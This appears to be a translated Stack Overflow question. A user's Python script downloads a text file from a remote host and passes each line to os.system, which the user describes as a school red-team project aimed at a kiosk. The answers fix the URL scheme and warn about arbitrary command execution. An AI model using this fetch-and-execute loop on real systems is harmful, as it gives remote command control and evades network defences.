簡體   English   中英

python 從遠程文本文件讀取和運行命令

[英]python read and run commands from a remote text file

我有一個腳本應該從遠程服務器讀取文本文件,然后執行 txt 文件中的任何內容。

例如,如果文本文件有命令:“ls”。 計算機將運行命令並列出目錄。 另外,請不要建議使用 urllib2 或其他任何東西。 我想堅持使用 python3.x

一旦我運行它,我就會收到此錯誤:

Traceback (most recent call last):   
File "test.py", line 4, in <module>
    data = urllib.request.urlopen(IP_Address)   
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 509, in open
    req = Request(fullurl, data)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 328, in __init__
    self.full_url = url
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 354, in full_url
    self._parse()
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 383, in _parse
    raise ValueError("unknown url type: %r" % self.full_url) ValueError: unknown url type: 'domain.com/test.txt'

這是我的代碼:

import urllib.request
IP_Address = "domain.com/test.txt"
data = urllib.request.urlopen(IP_Address)
for line in data:
    print("####")
    os.system(line)

編輯:是的,我意識到這是個壞主意。 這是一個學校項目,我們在玩紅隊,我們應該可以使用一個售貨亭。 我認為與其編寫嘗試繞過入侵檢測和防火牆的代碼,不如從遠程服務器執行命令更容易。 感謝大家的幫助!

發生錯誤是因為您的 url 不包含協議。 包括“http://”(如果您使用的是 ssl/tls,則為 https)它應該可以工作。

正如其他人評論的那樣,這是一件危險的事情,因為有人可以通過這種方式在您的系統上運行任意命令。

嘗試

“http://localhost/domain.com/test.txt"

或者遠程地址

如果本地主機需要運行 http 服務器

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM